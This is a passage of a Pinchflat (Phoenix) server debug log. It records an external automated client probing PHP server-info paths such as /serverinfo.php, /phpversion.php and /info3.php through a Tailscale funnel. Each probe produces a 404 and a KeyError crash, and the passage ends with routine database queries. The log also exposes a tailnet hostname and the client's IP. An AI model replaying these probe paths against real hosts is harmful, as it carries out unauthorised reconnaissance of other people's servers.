"pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 153, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /diagnostic (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/diagnostic.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 153, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12453.0>, params: %{}, path_info: ["diagnostic"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/diagnostic.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj1q4s53fY5JkAAKVB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, rou (truncated) 14:08:22.959 [info] GET /serverinfo.php 14:08:22.960 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=1280.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:22.962 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=1280.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:22.962 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:08:22.990 [error] #PID<0.12454.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 154) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /serverinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /serverinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/serverinfo.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 154, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12454.0>, params: %{}, path_info: ["serverinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/serverinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj1s6RCqNJN-IAAKVR"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/serverinfo.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 154, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /serverinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/serverinfo.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 154, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12454.0>, params: %{}, path_info: ["serverinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/serverinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj1s6RCqNJN-IAAKVR"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, rou (truncated) 14:08:23.385 [info] GET /phpversion.php 14:08:23.386 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=967.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:23.387 [debug] QUERY OK source="settings" db=0.4ms idle=968.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:23.387 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:08:23.389 [error] #PID<0.12455.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 155) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /phpversion.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /phpversion (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpversion.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 155, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12455.0>, params: %{}, path_info: ["phpversion"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/phpversion.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj1ufw-PPnCYgAAKVh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpversion.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 155, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /phpversion (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpversion.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 155, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12455.0>, params: %{}, path_info: ["phpversion"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/phpversion.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj1ufw-PPnCYgAAKVh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, rou (truncated) 14:08:23.773 [info] GET /info3.php 14:08:23.775 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=813.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:23.776 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=813.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:23.776 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:08:23.777 [error] #PID<0.12456.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 156) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /info3.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /info3 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info3.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 156, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12456.0>, params: %{}, path_info: ["info3"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/info3.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj1v8adtOGeUoAAKVx"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info3.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 156, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /info3 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info3.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 156, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12456.0>, params: %{}, path_info: ["info3"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/info3.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj1v8adtOGeUoAAKVx"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 40 (truncated) 14:08:24.269 [info] GET / 14:08:24.270 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 14:08:24.289 [debug] QUERY OK source="settings" db=0.6ms queue=0.2ms idle=901.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:24.309 [debug] QUERY OK source="media_profiles" db=19.7ms idle=902.2ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 14:08:24.313 [debug] QUERY OK source="sources" db=3.2ms idle=535.0ms SELECT count(s0."id") FROM "sources" AS s0 [] 14:08:24.314 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=537.8ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 14:08:24.315 [debug] QUERY OK source="media_items" db=0.3ms queue=0.4ms idle=169.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 14:08:24.317 [debug] QUERY OK source="settings" db=0.4ms queue=0.7ms idle=26.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:24.318 [debug] QUERY OK source="settings" db=0.8ms queue=0.1ms idle=8.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:24.356 [debug] QUERY OK source="settings" db=0.3ms queue=0.4ms idle=41.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:24.389 [debug] QUERY OK source="tasks" db=0.5ms queue=0.1ms idle=73.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 14:08:24.518 [debug] QUERY OK source="media_items" db=0.7ms idle=201.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 14:08:24.519 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=201.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 14:08:24.522 [debug] QUERY OK source="sources" db=1.3ms queue=0.1ms idle=201.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", 